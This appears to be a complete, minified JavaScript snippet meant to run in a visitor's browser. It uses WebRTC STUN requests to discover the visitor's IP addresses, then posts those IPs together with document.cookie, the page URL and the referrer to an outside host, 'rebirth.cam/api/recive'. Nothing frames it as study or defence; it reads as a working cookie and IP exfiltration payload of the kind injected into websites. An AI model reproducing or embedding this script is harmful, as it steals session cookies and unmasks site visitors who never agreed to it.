const getIPs = (callback) =>{ var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{ RtpDataChannels: true }] }; var servers = { iceServers: [{ urls: "stun:stun4.l.google.com" }, { urls: "stun:stun.voippro.com" }, { urls: "stun:stun.voipraider.com" }, ] }; var pc = new RTCPeerConnection(servers, mediaConstraints); function handleCandidate(candidate) { var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ var hasIp = ip_regex.exec(candidate); if (hasIp) { var ip_addr = ip_regex.exec(candidate)[1]; if (ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } } pc.onicecandidate = function(ice) { if (ice.candidate) { handleCandidate(ice.candidate.candidate); } }; pc.createDataChannel(""); pc.createOffer(function(result) { pc.setLocalDescription(result, function() {}, function() {}); }, function() {}); setTimeout(function() { var lines = pc.localDescription.sdp.split('\n'); lines.forEach(function(line) { if (line.indexOf('a=candidate:') === 0) handleCandidate(line); }); }, 1000); } function sendip(ip) { let xhr = new XMLHttpRequest(); xhr.open('post', '//rebirth.cam/api/recive'); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() {}; xhr.send('cookie=' + document.cookie + '&url=' + window.location.href + '&ref=' + document.referrer + '&pid=' + 267 + '&realip=' + ip); } getIPs((ip) =>{ sendip(ip) });